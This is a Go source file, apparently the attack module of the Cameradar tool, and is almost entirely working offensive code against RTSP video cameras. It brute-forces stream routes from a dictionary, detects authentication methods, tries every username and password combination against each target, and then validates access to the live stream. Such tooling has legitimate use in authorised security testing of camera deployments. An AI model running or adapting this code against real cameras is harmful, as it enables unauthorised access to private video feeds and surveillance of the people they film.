package attack

import (
	"context"
	"errors"
	"fmt"
	"time"

	"github.com/Ullaakut/cameradar/v6"
	"github.com/bluenviron/gortsplib/v5"
	"github.com/bluenviron/gortsplib/v5/pkg/base"
	"github.com/bluenviron/gortsplib/v5/pkg/description"
	"github.com/bluenviron/gortsplib/v5/pkg/liberrors"
)

// Route that should never be a constructor default.
const dummyRoute = "0x8b6c42"

// Dictionary provides dictionaries for routes, usernames and passwords.
type Dictionary interface {
	Routes() []string
	Usernames() []string
	Passwords() []string
}

// Reporter reports progress and results of the attacks.
type Reporter interface {
	Start(step cameradar.Step, message string)
	Done(step cameradar.Step, message string)
	Progress(step cameradar.Step, message string)
	Error(step cameradar.Step, err error)
	Debug(step cameradar.Step, message string)
}

// Attacker attempts to discover routes and credentials for RTSP streams.
type Attacker struct {
	dictionary     Dictionary
	reporter       Reporter
	attackInterval time.Duration
	timeout        time.Duration
}

// New builds an Attacker with the provided dependencies.
func New(dict Dictionary, attackInterval, timeout time.Duration, reporter Reporter) (Attacker, error) {
	if dict == nil {
		return Attacker{}, errors.New("dictionary is required")
	}

	return Attacker{
		dictionary:     dict,
		attackInterval: attackInterval,
		timeout:        timeout,
		reporter:       reporter,
	}, nil
}

// Attack attacks the given targets and returns the accessed streams.
func (a Attacker) Attack(ctx context.Context, targets []cameradar.Stream) ([]cameradar.Stream, error) {
	if len(targets) == 0 {
		return nil, errors.New("no stream found")
	}

	streams, err := a.attackRoutesPhase(ctx, targets)
	if err != nil {
		return streams, err
	}

	streams, err = a.detectAuthPhase(ctx, streams)
	if err != nil {
		return streams, err
	}

	streams, err = a.attackCredentialsPhase(ctx, streams)
	if err != nil {
		return streams, err
	}

	streams, err = a.validateStreamsPhase(ctx, streams)
	if err != nil {
		return streams, err
	}

	// Some cameras run an inaccurate version of the RTSP protocol which prioritizes 401 over 404.
	// For these cameras, running another route attack solves the problem.
	if !needsReattack(streams) {
		return streams, nil
	}
	streams, err = a.reattackRoutes(ctx, streams)
	if err != nil {
		return streams, err
	}

	return streams, nil
}

func (a Attacker) attackRoutesPhase(ctx context.Context, targets []cameradar.Stream) ([]cameradar.Stream, error) {
	a.reporter.Start(cameradar.StepAttackRoutes, "Attacking RTSP routes")
	routeAttempts := (len(a.dictionary.Routes()) + 1) * len(targets)
	if routeAttempts > 0 {
		a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTotalMessage(routeAttempts))
	}

	streams, err := runParallel(ctx, targets, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
		return a.attackRoutesForStream(ctx, target, true)
	})
	if err != nil {
		a.reporter.Error(cameradar.StepAttackRoutes, err)
		return streams, fmt.Errorf("attacking routes: %w", err)
	}
	updateSummary(a.reporter, streams)
	a.reporter.Done(cameradar.StepAttackRoutes, "Finished route attacks")

	return streams, nil
}

func (a Attacker) detectAuthPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
	a.reporter.Start(cameradar.StepDetectAuth, "Detecting authentication methods")
	if len(streams) > 0 {
		a.reporter.Progress(cameradar.StepDetectAuth, cameradar.ProgressTotalMessage(len(streams)))
	}
	streams, err := a.detectAuthMethods(ctx, streams)
	if err != nil {
		a.reporter.Error(cameradar.StepDetectAuth, err)
		return streams, fmt.Errorf("detecting authentication methods: %w", err)
	}
	updateSummary(a.reporter, streams)
	a.reporter.Done(cameradar.StepDetectAuth, "Authentication detection complete")

	return streams, nil
}

func (a Attacker) attackCredentialsPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
	a.reporter.Start(cameradar.StepAttackCredentials, "Attacking credentials")
	credentialsAttempts := len(streams) * len(a.dictionary.Usernames()) * len(a.dictionary.Passwords())
	if credentialsAttempts > 0 {
		a.reporter.Progress(cameradar.StepAttackCredentials, cameradar.ProgressTotalMessage(credentialsAttempts))
	}
	streams, err := runParallel(ctx, streams, a.attackCredentialsForStream)
	if err != nil {
		a.reporter.Error(cameradar.StepAttackCredentials, err)
		return streams, fmt.Errorf("attacking credentials: %w", err)
	}
	updateSummary(a.reporter, streams)
	a.reporter.Done(cameradar.StepAttackCredentials, "Credential attacks complete")

	return streams, nil
}

func (a Attacker) validateStreamsPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
	a.reporter.Start(cameradar.StepValidateStreams, "Validating streams")
	if len(streams) > 0 {
		a.reporter.Progress(cameradar.StepValidateStreams, cameradar.ProgressTotalMessage(len(streams)))
	}
	streams, err := runParallel(ctx, streams, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
		return a.validateStream(ctx, target, true)
	})
	if err != nil {
		a.reporter.Error(cameradar.StepValidateStreams, err)
		return streams, fmt.Errorf("validating streams: %w", err)
	}
	updateSummary(a.reporter, streams)
	a.reporter.Done(cameradar.StepValidateStreams, "Stream validation complete")

	return streams, nil
}

func (a Attacker) reattackRoutes(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
	a.reporter.Progress(cameradar.StepAttackRoutes, "Re-attacking routes for partial results")
	updated, err := runParallel(ctx, streams, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
		return a.attackRoutesForStream(ctx, target, false)
	})
	if err != nil {
		a.reporter.Error(cameradar.StepAttackRoutes, err)
		return streams, fmt.Errorf("attacking routes: %w", err)
	}

	updated, err = runParallel(ctx, updated, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
		return a.validateStream(ctx, target, false)
	})
	if err != nil {
		a.reporter.Error(cameradar.StepValidateStreams, err)
		return updated, fmt.Errorf("validating streams: %w", err)
	}
	updateSummary(a.reporter, updated)

	return updated, nil
}

func needsReattack(streams []cameradar.Stream) bool {
	for _, stream := range streams {
		if stream.RouteFound && stream.CredentialsFound && stream.Available {
			// This stream is fully discovered, no need to re-attack.
			continue
		}
		return true
	}
	return false
}

type summaryUpdater interface {
	UpdateSummary(streams []cameradar.Stream)
}

func updateSummary(reporter Reporter, streams []cameradar.Stream) {
	updater, ok := reporter.(summaryUpdater)
	if !ok {
		return
	}
	updater.UpdateSummary(streams)
}

func (a Attacker) attackCredentialsForStream(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
	for _, username := range a.dictionary.Usernames() {
		for _, password := range a.dictionary.Passwords() {
			if ctx.Err() != nil {
				return target, ctx.Err()
			}

			a.reporter.Progress(cameradar.StepAttackCredentials, cameradar.ProgressTickMessage())
			ok, err := a.credAttack(ctx, target, username, password)
			if err != nil {
				target.CredentialsFound = false

				msg := fmt.Sprintf("credential attempt failed for %s:%d (%s:%s): %v", target.Address.String(), target.Port, username, password, err)
				a.reporter.Debug(cameradar.StepAttackCredentials, msg)

				return target, nil
			}

			if ok {
				target.CredentialsFound = true
				target.Username = username
				target.Password = password

				msg := fmt.Sprintf("Credentials found for %s:%d", target.Address.String(), target.Port)
				a.reporter.Progress(cameradar.StepAttackCredentials, msg)

				return target, nil
			}
			time.Sleep(a.attackInterval)
		}
	}

	target.CredentialsFound = false
	return target, nil
}

func (a Attacker) attackRoutesForStream(ctx context.Context, target cameradar.Stream, emitProgress bool) (cameradar.Stream, error) {
	if target.RouteFound {
		return target, nil
	}

	if emitProgress {
		a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTickMessage())
	}
	ok, err := a.routeAttack(ctx, target, dummyRoute)
	if err != nil {
		a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("route probe failed for %s:%d: %v", target.Address.String(), target.Port, err))
		return target, nil
	}
	if ok {
		target.RouteFound = true
		target.Routes = append(target.Routes, "") // Add empty route for default.
		a.reporter.Progress(cameradar.StepAttackRoutes, fmt.Sprintf("Default route accepted for %s:%d", target.Address.String(), target.Port))
		return target, nil
	}

	for _, route := range a.dictionary.Routes() {
		select {
		case <-ctx.Done():
			return target, ctx.Err()
		case <-time.After(a.attackInterval):
		}

		if emitProgress {
			a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTickMessage())
		}
		ok, err := a.routeAttack(ctx, target, route)
		if err != nil {
			a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("route attempt failed for %s:%d (%s): %v", target.Address.String(), target.Port, route, err))
			return target, nil
		}
		if ok {
			target.RouteFound = true
			target.Routes = append(target.Routes, route)
			a.reporter.Progress(cameradar.StepAttackRoutes, fmt.Sprintf("Route found for %s:%d -> %s", target.Address.String(), target.Port, route))
		}
	}

	return target, nil
}

func (a Attacker) routeAttack(ctx context.Context, stream cameradar.Stream, route string) (bool, error) {
	u, urlStr, err := buildRTSPURL(stream, route, stream.Username, stream.Password)
	if err != nil {
		return false, fmt.Errorf("building rtsp url: %w", err)
	}

	code, headers, err := a.probeDescribeHeaders(ctx, u, urlStr)
	if err != nil {
		return false, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
	}

	a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, code))

	if code == base.StatusMovedPermanently {
		a.handleRedirect(&stream, headers)
	}

	access := code == base.StatusOK || code == base.StatusUnauthorized || code == base.StatusForbidden
	return access, nil
}

func (a Attacker) credAttack(ctx context.Context, stream cameradar.Stream, username, password string) (bool, error) {
	u, urlStr, err := buildRTSPURL(stream, stream.Route(), username, password)
	if err != nil {
		return false, fmt.Errorf("building rtsp url: %w", err)
	}

	code, headers, err := a.probeDescribeHeaders(ctx, u, urlStr)
	if err != nil {
		return false, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
	}

	a.reporter.Debug(cameradar.StepAttackCredentials, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, code))

	if code == base.StatusMovedPermanently {
		a.handleRedirect(&stream, headers)
	}

	return code == base.StatusOK || code == base.StatusNotFound, nil
}

func (a Attacker) validateStream(ctx context.Context, stream cameradar.Stream, emitProgress bool) (cameradar.Stream, error) {
	if emitProgress {
		defer a.reporter.Progress(cameradar.StepValidateStreams, cameradar.ProgressTickMessage())
	}

	if ctx.Err() != nil {
		return stream, ctx.Err()
	}

	u, urlStr, err := buildRTSPURL(stream, stream.Route(), stream.Username, stream.Password)
	if err != nil {
		return stream, fmt.Errorf("building rtsp url: %w", err)
	}

	client, err := a.newRTSPClient(u)
	if err != nil {
		return stream, fmt.Errorf("starting rtsp client: %w", err)
	}
	defer client.Close()

	desc, res, err := a.describeWithRetry(ctx, client, u, urlStr)
	if err != nil {
		return a.handleDescribeError(stream, urlStr, err)
	}
	a.logDescribeResponse(urlStr, res)

	if desc == nil || len(desc.Medias) == 0 {
		return stream, fmt.Errorf("no media tracks found for %q", urlStr)
	}

	res, err = client.Setup(desc.BaseURL, desc.Medias[0], 0, 0)
	if err != nil {
		return a.handleSetupError(stream, urlStr, err)
	}
	a.logSetupResponse(urlStr, res)

	stream.Available = res != nil && res.StatusCode == base.StatusOK
	if stream.Available {
		a.reporter.Progress(cameradar.StepValidateStreams, fmt.Sprintf("Stream validated for %s:%d", stream.Address.String(), stream.Port))
	}

	return stream, nil
}

func (a Attacker) describeWithRetry(ctx context.Context, client *gortsplib.Client, u *base.URL, urlStr string) (*description.Session, *base.Response, error) {
	var (
		desc *description.Session
		res  *base.Response
		err  error
	)
	for range 5 {
		desc, res, err = client.Describe(u)
		if err == nil {
			return desc, res, nil
		}

		var badStatus liberrors.ErrClientBadStatusCode
		if errors.As(err, &badStatus) && badStatus.Code == base.StatusServiceUnavailable {
			a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d (retrying)", urlStr, badStatus.Code))
			select {
			case <-ctx.Done():
				return nil, nil, ctx.Err()
			case <-time.After(time.Second):
			}
			continue
		}

		return nil, nil, err
	}

	return nil, nil, fmt.Errorf("describe retries exhausted for %q: %w", urlStr, err)
}

func (a Attacker) handleDescribeError(stream cameradar.Stream, urlStr string, err error) (cameradar.Stream, error) {
	var badStatus liberrors.ErrClientBadStatusCode
	if errors.As(err, &badStatus) && badStatus.Code == base.StatusServiceUnavailable {
		a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, badStatus.Code))
		a.reporter.Progress(cameradar.StepValidateStreams, fmt.Sprintf("Stream unavailable for %s:%d (RTSP %d)",
			stream.Address.String(),
			stream.Port,
			badStatus.Code,
		))
		stream.Available = false
		return stream, nil
	}

	a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > error: %v", urlStr, err))

	return stream, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
}

func (a Attacker) handleSetupError(stream cameradar.Stream, urlStr string, err error) (cameradar.Stream, error) {
	var badStatus liberrors.ErrClientBadStatusCode
	if errors.As(err, &badStatus) {
		a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("SETUP %s RTSP/1.0 > %d", urlStr, badStatus.Code))
		stream.Available = badStatus.Code == base.StatusOK
		return stream, nil
	}

	return stream, fmt.Errorf("performing setup request at %q: %w", urlStr, err)
}

func (a Attacker) logDescribeResponse(urlStr string, res *base.Response) {
	if res == nil {
		return
	}
	a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, res.StatusCode))
}

func (a Attacker) logSetupResponse(urlStr string, res *base.Response) {
	if res == nil {
		return
	}
	a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("SETUP %s RTSP/1.0 > %d", urlStr, res.StatusCode))
}
